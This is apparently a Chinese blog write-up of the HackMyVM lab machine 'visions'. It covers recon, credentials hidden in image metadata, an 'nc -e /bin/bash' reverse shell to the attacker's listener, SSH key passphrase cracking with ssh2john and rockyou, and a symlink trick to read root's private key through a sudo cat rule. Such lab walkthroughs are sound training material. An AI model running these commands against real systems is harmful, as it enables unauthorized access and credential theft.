当前位置:网站首页>HackMyvm靶機系列(3)-visions
HackMyvm靶機系列(3)-visions
2022-07-06 13:57:00 【月應知我意】
一、信息收集
先探測網段,得到目標主機
nmap -sP 192.168.200.0/24 | grep -i -B 2 virtualbox
然後進行端口掃描,發現ssh服務和http服務
nmap -sC -sV -p- 192.168.200.234
訪問一下http服務,發現只有一張圖片和一段注釋。
這段注釋看上去是一個提示,aliccia猜測可能是一個用戶
使用dirsearch掃描一下目錄,看看能有什麼收獲不
dirsearch -u http://192.168.200.234/ -e php,html,txt,bak,zip,7z,gz,db -x 404,301,500,502
然而什麼東西都麼有
根據它的提示,將圖片下載下來,查看一下圖片的元數據是啥
curl http://192.168.200.234/white.png -o white.png
./exiftool white.png
如圖,發現了密碼
工具用法與下載:
alicia:ihaveadream
二、漏洞利用
成功登入
進來之後在當前目錄下沒發現flag,看了一下家目錄發現有4個用戶,然後在sophia目錄下發現了flag,但是沒有權限,運行不了。
那就先試試提權?
sudo -l
發現當前用戶可以以emma用戶的身份運行nc而不需要使用密碼。
既然如此,那就先反彈shell試試。
kali上監聽端口
然後在目標機上執行下面命語句
sudo -u emma nc 192.168.200.192 10000 -e /bin/bash
成功接受到shell,使用python獲得一個交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
在當前目錄下發現一個note.txt文件,內容如下。
我情不自禁???不知道啥意思。
然後我又查看了一下suid和sudo提權,都沒啥突破口。
後來看了大佬的wp,發現需要使用到一些圖片處理工具
上傳圖片後,點擊這個箭頭處。
然後就能看到用戶名和密碼了,這題是真的坑,信息全藏在這張圖片裏了
sophia:seemstobeimpossible
登錄成功
當前用戶可以使用任何用戶的身份使用cat命令查看.invisible文件。這意味著我們使用cat命令查看該文件的時候可以用擁有root權限。
打開一看,是用戶isabella的私鑰欸,拿去登錄試試
居然還要繼續輸入密碼。
只能開始爆破了
可以使用john the ripper進行爆破,但是要先使用下面命令將id_rsa轉換為john能識別的hash值
python3 /usr/share/john/ssh2john.py id_rsa > crack.txt
我這裏使用脚本進行爆破。
rockyou.txt是kali自帶的一個字典,/usr/share/wordlists/rockyou.txt.gz,使用之前需要對其解壓,不然會亂碼
gzip -d rockyou.txt.gz
成功爆破出密碼(密碼在1萬多行,但是這裏由於寫wp我就把它放前面來了)
invisible
如圖,登錄成功
從下面開始,由於換了一個網絡,所以這個IP變了
三、權限提昇
在這裏看看有沒有可以用來提權的命令
然而並沒有什麼突破點
後來突然想起之前sophia用戶使用cat命令讀取.invisible文件是具有root權限的,那我能不能使用isabella用戶將.invisiblla用戶鏈接到root用戶的私鑰上去呢?
創建軟鏈接
ln -sf /root/.ssh/id_rsa .invisible
讀取root用戶的私鑰
sudo cat /home/isabella/.invisible
這裏使用私鑰登錄是會有一個小問題,權限太高會導致登陸失敗。
將權限降低,再進行登錄
chmod 600 key
登錄成功,獲得root權限
边栏推荐
- 2022 Teddy cup data mining challenge question C idea and post game summary
- 7-1 output all primes between 2 and n (PTA programming)
- Programme de jeu de cartes - confrontation homme - machine
- Nuxtjs quick start (nuxt2)
- C language Getting Started Guide
- The difference between overloading and rewriting
- Mode 1 two-way serial communication is adopted between machine a and machine B, and the specific requirements are as follows: (1) the K1 key of machine a can control the ledi of machine B to turn on a
- 7-15 h0161. Find the greatest common divisor and the least common multiple (PTA program design)
- Principles, advantages and disadvantages of two persistence mechanisms RDB and AOF of redis
- [the Nine Yang Manual] 2017 Fudan University Applied Statistics real problem + analysis
猜你喜欢
Have you encountered ABA problems? Let's talk about the following in detail, how to avoid ABA problems
HackMyvm靶机系列(3)-visions
记一次猫舍由外到内的渗透撞库操作提取-flag
[au cours de l'entrevue] - Comment expliquer le mécanisme de transmission fiable de TCP
[hand tearing code] single case mode and producer / consumer mode
编写程序,模拟现实生活中的交通信号灯。
2. First knowledge of C language (2)
这次,彻底搞清楚MySQL索引
A comprehensive summary of MySQL transactions and implementation principles, and no longer have to worry about interviews
附加简化版示例数据库到SqlServer数据库实例中
随机推荐
一段用蜂鸣器编的音乐(成都)
Simply understand the promise of ES6
编写程序,模拟现实生活中的交通信号灯。
1. First knowledge of C language (1)
[MySQL database learning]
HackMyvm靶机系列(6)-videoclub
7-15 h0161. Find the greatest common divisor and the least common multiple (PTA program design)
仿牛客技术博客项目常见问题及解答(三)
7-5 走楼梯升级版(PTA程序设计)
7-6 矩阵的局部极小值(PTA程序设计)
强化学习系列(一):基本原理和概念
【头歌educoder数据表中数据的插入、修改和删除】
Relationship between hashcode() and equals()
MySQL lock summary (comprehensive and concise + graphic explanation)
Analysis of penetration test learning and actual combat stage
It's never too late to start. The tramp transformation programmer has an annual salary of more than 700000 yuan
canvas基础1 - 画直线(通俗易懂)
Attach the simplified sample database to the SQLSERVER database instance
[the Nine Yang Manual] 2021 Fudan University Applied Statistics real problem + analysis
Safe driving skills on ice and snow roads